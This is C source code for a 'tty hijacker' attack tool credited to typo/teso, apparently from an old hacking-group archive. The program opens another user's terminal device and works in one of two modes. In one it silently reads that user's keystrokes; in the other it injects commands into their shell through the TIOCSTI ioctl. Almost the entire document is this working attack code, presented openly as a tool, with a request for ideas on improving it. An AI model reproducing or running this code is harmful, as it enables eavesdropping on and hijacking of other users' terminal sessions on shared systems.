linux tty hijacker (
87097b01aedfd6f276efef01382b9388b627efcc5bb7ea6eee1cbca91e67d484
#include <sys/ioctl.h>
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
// Dirty H(ijacker|arry) by typo/teso.. paralell tailing and ioctl input
// don't work.. neither does nonblocking tailing. any suggestions on how
// to improve this ? -> typo@scene.at
// credits: Saegfault for some ideas regarding the tail mode.
char *moo;
int fd;
void inthand() {
printf("moo!\n");
free(moo);
close(fd);
exit(-1);
}
int main(int argc, char **argv) {
char *moo2;
printf("-- Dirty H(ijacker|arry) by typo/teso --\n");
if (argc<2) {
printf("Usage: %s </dev/ttyx> [tailmode]\n",argv[0]);
exit(-1);
}
signal(SIGINT, (void*)&inthand);
moo2 = moo = (char *)malloc(400);
if (argc>2) {
fd = open(argv[1], O_RDONLY|O_SYNC);
printf("Tailing %s""... all commands we receive won't reach the shell:\n", argv[1]);
while (1) {
read(fd,moo,1);
printf("%s",moo);
if (!strcmp(moo,"\r"))
printf("\n");
fflush(stdout);
}
} else {
fd = open(argv[1], O_WRONLY);
printf("Inserting Commands into %s"":\n", argv[1]);
while (1) {
moo = moo2;
fgets(moo, 400, stdin);
while (*moo)
ioctl(fd, TIOCSTI, moo++);
}
}
}